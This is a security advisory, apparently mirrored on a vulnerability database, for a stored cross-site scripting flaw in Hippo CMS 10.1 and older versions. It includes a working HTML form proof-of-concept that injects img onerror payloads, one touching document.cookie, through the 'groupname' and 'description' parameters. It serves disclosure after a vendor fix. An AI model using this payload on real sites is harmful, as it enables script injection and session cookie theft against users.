Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability

🗓️ 30 Jan 2016 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 149 Views

Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability, Impact, Risk: (3/5), Affected Version: 10.1, 7.9, 7.8, Vendor Fixed, Security Notice Release

<!--

Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability


Vendor: Hippo B.V.
Product web page: http://www.onehippo.org
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)

Summary: Hippo CMS is an open source Java CMS. We
built it so you can easily integrate it into your
existing architecture.

Desc: Hippo CMS suffers from a stored XSS vulnerability.
Input passed thru the POST parameters 'groupname' and
'description' is not sanitized allowing the attacker to
execute HTML code into user's browser session on the
affected site.


Tested on: Linux 2.6.32-5-xen-amd64
           Java/1.8.0_66
           Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5300
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5300.php

Vendor: http://www.onehippo.org/security-issues-list/security-12.html
        http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html


04.12.2015

--><html>
<body>
<form action="https://10.0.2.17/?1-1.IBehaviorListener.0-root-tabs-panel~container-cards-6-panel-panel-form-create~button" method="POST">
<input name="id26c_hf_0" type="hidden" value=""/>
<input name="groupname" type="hidden" value="&lt;img src=ko onerror=confirm(document.cookie)&gt;"/>
<input name="description" type="hidden" value="&lt;img src=ko onerror=confirm(2)&gt;"/>
<input name="create-button" type="hidden" value="1"/>
<input type="submit" value="Inject code"/>
</form>
</body>
</html>

30 Jan 2016 00:00Current

6Medium risk

Vulners AI Score6